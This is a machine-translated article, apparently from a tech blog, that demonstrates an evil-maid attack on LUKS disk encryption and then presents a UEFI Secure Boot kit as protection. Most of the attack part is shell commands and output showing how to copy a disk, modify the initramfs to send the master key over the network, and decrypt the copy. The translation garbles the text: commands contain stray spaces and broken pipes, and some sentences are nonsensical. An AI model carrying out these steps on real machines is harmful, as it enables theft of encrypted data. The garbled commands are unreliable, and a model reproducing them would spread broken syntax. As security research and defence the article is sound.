Hacking and protecting encryption drives LUKS

    Disk encryption is designed to protect data on your computer from unauthorized physical access. There is a common misconception that disk encryption really copes with this task, and scenarios in which this is not so seem too exotic and unrealistic. This article shows that extracting the master key of an encrypted LUKS volume is easily feasible in practice, and a (long time ago new) protection method is proposed.

    The essence of the problem

    We should also dwell on the purpose of disk encryption. Indeed, when physical access is impossible and the running system owns the data, there are no problems. There may be problems with the security of the system itself, but disk encryption will not help here. Disk encryption should protect data when a curious party has the opportunity to access disks without going through the system, for example, physically connecting disks to their system or loading their OS on an inspected computer. A physical access scenario is the only scenario in which disk encryption makes any sense.

    The problem is that the attacker can quietly intervene in the OS boot chain and force the system to issue encryption keys as soon as it receives them the next time it starts.

    Such an attack requires only one act of access to the computer: data from the disk can be copied together with the substitution of the boot circuit, and then decrypted by them until the key appears. Compared to unencrypted disks, the only inconvenience is that you need to take care of how the key is transmitted and wait for it to start.

    Next, we move on to demonstrating such a technique in practice. It may turn out that for its implementation the attacker will need less effort than the system owner spent on setting up some of his exotic methods of unlocking disks (for example, remotely).

    Practical demonstration

    I will conduct a demo on the example of a virtual machine with Debian 9, on which disk encryption was enabled during the installation of the system.

    Installing Debian 9 with encryption creates a boot partition and a partition with encrypted LVM. Screenshot of the installed system asking for the decryption password for clarity:

    Everything is ready, you can proceed. Turn off the car, copy the disk. In my case, it looks like this:

    [root @ dt1 ~] # virsh destroy debian9-boothack 
    The debian9-boothack domain is destroyed
    [root @ dt1 ~] # cp -v /var/lib/libvirt/images/debian9-boothack.qcow2 ~
    '/var/lib/libvirt/images/debian9-boothack.qcow2' -> '/root/debian9-boothack.qcow2'

    Mount the drive of the machine, extract the initramdrive:

    [root @ dt1 ~] # mkdir / guest
    [root @ dt1 ~] # guestmount -a /var/lib/libvirt/images/debian9-boothack.qcow2 -m / dev / sda1 / guest
    [root @ dt1 ~] # cp -v /guest/initrd.img-4.9.0-9-amd64 ~ user / tmp
    '/guest/initrd.img-4.9.0-9-amd64' -> '/home/user/tmp/initrd.img-4.9.0-9-amd64'

    Unpack initramdrive:

    [user @ dt1 tmp] $ mkdir unpacked
    [user @ dt1 tmp] $ cd unpacked /
    [user @ dt1 unpacked] $ zcat ../initrd.img-4.9.0-9-amd64 | cpio -idm
    [user @ dt1 unpacked] $ ls
    bin conf etc init lib lib64 run sbin scripts

    Done, you can edit initramdrive. Knowing that the machine has a permanent network connection, I want to organize the encrypted sending of the master key after opening the disks. To do this, I will need:

    1. Utility for encrypted sending over the network . Add it to/sbin
    2. Shell script for key extraction and sending . Sent to /scripts/local-topand added to the list /scripts/local-top/ORDERafter cryptoroot.
    3. The missing native udhcpc event processing script to start auto-tuning the network directly in ramdrive, using the built-in tools. His rightful place in/etc/udhcpc/default.script

    The secsend executable is statically compiled to eliminate dependencies on any libraries. Under normal conditions, the assembly produces an output file of 2.7 MB in size, which is quite noticeable compared to the size of the ramdrive - 62 megabytes in unpacked form and 20 in compressed form. However, when building all the libraries and the executable with minimal musl libc, the output file size is ~ 250 KB and 120 KB after UPX compression. Secsend itself simply reads the standard input, encrypts it with cryptobox from libsodium using the specified public key Curve25519 and sends data to the specified address via TCP. Its use is unprincipled for the main purpose of the demonstration, it rather shows that the attacker is essentially unlimited: you can run code that does what the attacker wants and how he wants it.

    After adding these three files and editing another one, you can pack everything back and return the modified file to its place:

    [user @ dt1 unpacked] $ find. | | | cpio -o -c | gzip -9> ../initrd.img-4.9.0-9-amd64
    125736 blocks
    [user @ dt1 unpacked] $ sudo cp -v ../initrd.img-4.9.0-9-amd64 / guest
    '../initrd.img-4.9.0-9-amd64' -> '/guest/initrd.img-4.9.0-9-amd64'
    [user @ dt1 unpacked] $ sudo guestunmount / guest

    It will take some server to receive an encrypted master key, such as this (Python 3.5.3+). Running it with the secret part of the key pair, we wait until the conditional victim turns on his computer:

    When you turn on the virtual machine with an encrypted disk, everything looks normal as usual, nothing has changed:

    But on the connection listener side, a secret master key appeared:

    From this moment on, the virtual machine with data and its user with knowledge of the encryption password are no longer of interest to the attacker. I emphasize that changing a passphrase does not change the master key that encrypts the entire volume. Even if a change of passphrase is somehow involved between making a copy and sending the key, this is not a hindrance. We will use the master key to open the volume. To do this, we convert its 16-decimal log entry to a binary file:

    [root @ dt1 ~] # echo 'fa0c53 *********** 4bd8c' | xxd -r -p> master.key

    Mount disks with a copy:

    [root @ dt1 ~] # modprobe nbd max_part = 8
    [root @ dt1 ~] # qemu-nbd --connect = / dev / nbd0 /root/debian9-boothack.qcow2 
    [root @ dt1 ~] # ls / dev / nbd0 *
    / dev / nbd0 / dev / nbd0p1 / dev / nbd0p2 / dev / nbd0p5
    [root @ dt1 ~] # file -s / dev / nbd0p5
    / dev / nbd0p5: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: fb732477-ef98-40b5-86a2-8526c349f031
    [root @ dt1 ~] # cryptsetup --master-key-file = master.key luksOpen / dev / nbd0p5 crackeddisk
    [root @ dt1 ~] # pvs
      PV VG Fmt Attr PSize PFree
      / dev / mapper / crackeddisk debian9-boothack-vg lvm2 a-- 19.75g 0 
      / dev / sda3 dt1 lvm2 a-- <215.01g 8.00m
    [root @ dt1 ~] # lvs
      LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy% Sync Convert
      root debian9-boothack-vg -wi-a ----- 18.75g                                                    
      swap_1 debian9-boothack-vg -wi-a ----- 1.00g                                                    
      root dt1 -wi-ao ---- 215.00g                                                    
    [root @ dt1 ~] # mkdir / hackedroot
    [root @ dt1 ~] # mount / dev / mapper / debian9 - boothack - vg-root / hackedroot /
    [root @ dt1 ~] # ls / hackedroot /
    bin boot dev etc home initrd.img initrd.img.old lib lib64 lost + found media mnt opt ​​proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old
    [root @ dt1 ~] # cat / hackedroot / etc / hostname 

    The data is retrieved.

    Protective measures

    As you can conclude, the root of the problem is the launch of untrusted code. Here is a short overview of the techniques that should be considered in the context of this issue.

    Boot partition encryption

    Some distributions also offer this feature during installation (for example, OpenSuSE). In this case, the boot partition is decrypted by the bootloader, and then the kernel and initramdrive are loaded from it. This approach does not make much sense for the following reasons:

    • The most important issue with code spoofing still remains open. Only now will the bootloader need to be replaced.
    • For a boot partition, data integrity is not more important, but data integrity. Basic LUKS encryption does not provide such a guarantee. Some benefit here lies only in the fact that it is difficult to form a meaningful substitution on such an encrypted partition.
    • And LUKS2 encryption with integrity check (dm-integrity) also does not protect against interference, because it does not give guarantees against attacks related to sector replay. For example, having a dump of such a partition and a bootloader config on it, you can still take and roll back the kernel to the state copied earlier. This does not give advantages specifically in the issue of key extraction (except if the old kernel was vulnerable and it can be used in some way), it is rather an argument in favor of the uselessness of encrypting the boot partition.

    Using TPM to store an encryption key and validate a secure boot environment

    TPM is essentially a crypto processor that acts as a secure enclave or smart card in the system. Secret data encrypted with it can only be decrypted using it and only on its conditions - when the PCR values ​​of the system converge , which depend on the state of the platform and the code run in it. The technology is quite promising and can allow you to implement secure encryption in the system without requiring a key (for example, by entering with a fingerprint or authentication methods unrelated to encryption). Ideally, it should work in conjunction with the UEFI Secure Boot, prohibiting decryption when the configuration does not converge.

    However, in Linux, TPM support is still in its infancy. The TrustedGRUB2 bootloader (a bootloader adapted for working with TPM) does not support UEFI and this makes the whole point of the idea disappear. In addition, the presence of a working TPM 2.0 is only now beginning to appear in the hardware, often along with BIOS updates. Most motherboards do not have a discrete TPM module; instead, TPM is software implemented inside Intel ME . For all these reasons, I do not yet consider such a configuration as working and suitable for widespread use.

    Using UEFI Secure Boot to fully cover the boot chain with an electronic signature

    There are distributions (Fedora, OpenSuSE) and single solutions that allow you to use Secure Boot in Linux. However, boxed solutions often do not provide code integrity in the load chain. They are designed primarily to ensure that Linux simply starts when Secure Boot is enabled. Usually just use EFI shim, signed by a Microsoft certificate, which then launches anything. Accordingly, when using external certification, it is simply impossible to cover the signature of an in-disk drive that is generated directly in the installed system.

    There are articles on the hub that suggest using your own PKI for signing code. This allows you to sign everything you need on your own and thus cover the entire UEFI chain → bootloader → kernel and intramdrive.

    1. Taming UEFI SecureBoot - the first article on the hub on this topic, very detailed.
    2. We use Secure Boot in Linux to the fullest - it is especially well written here why Secure Boot with installed Microsoft certificates is equivalent to its absence.

    The required result is obtained in the second article. An intramdrive signature is achieved by merging the ramdrive and the kernel into one EFI application, without using a loader, and UEFI directly checks the signature immediately in bulk. Both manuals require a lot of manual work on each protected system.

    Affordable Solution

    I came up with an approach to the full implementation of Secure Boot, compatible with the generally accepted boot scheme and not requiring serious intervention in the system: a separate bootloader, a separate ramdrive, a separate kernel. UEFI only verifies the signature of the GRUB2 bootloader, the bootloader has a wired config with the key to verify the signature and administrator password, and then checks the kernel and ramdrive. The signed bootloader is installed in parallel with the old one and, if necessary, it remains possible to start in the usual way by disabling Secure Boot. Of course, this feature should be closed by the administrator password in the UEFI settings menu.

    I decided to automate the Secure Boot deployment process with my own PKI and make it as simple and distribution-independent as possible. The result is this set from the Makefile recipe and utilities: https://github.com/Snawoot/linux-secureboot-kit . For debian, ubuntu, fedora, and centos, the whole process requires just a few commands.

    Specifically, using the example of Debian 9, the installation looks something like this (assuming that UEFI is already in Setup Mode):

    apt update && apt install -y unzip make sbsigntool
    wget https://gist.github.com/Snawoot/1937d5bc76d7b0a29f2039aa679c0449/raw/74a63c99be07ec93cfc1df47d2e98e54920c97b7/efitools-1.9.2-static.tar.xz && \
    tar xpJf efitools-1.9.2-static.tar.xz -C /
    wget https://github.com/Snawoot/linux-secureboot-kit/archive/master.zip
    unzip master.zip
    cd linux-secureboot-kit-master/
    make debian9-install

    Here, all commands are entered on behalf of the superuser. As a result, it remains only to verify that Secure Boot is enabled in the BIOS menu and protect the BIOS settings with an administrator password.

    And here is the attempt to replace the ramdrive on such an installation:

    Changing the bootloader (the appearance depends on the platform):


    Disk encryption alone is not enough to ensure data privacy. Signing the entire boot chain using UEFI Secure Boot and GPG allows you to achieve a good level of protection against executable code spoofing, provided that the computer operator is able to recognize a reset or spoof of the system board, or even the entire computer. Otherwise, it is extremely difficult to offer adequate protection methods if the user is ready to enter the password / transfer the key to any machine that accidentally ends up on the table or in the server room.

    Also popular now: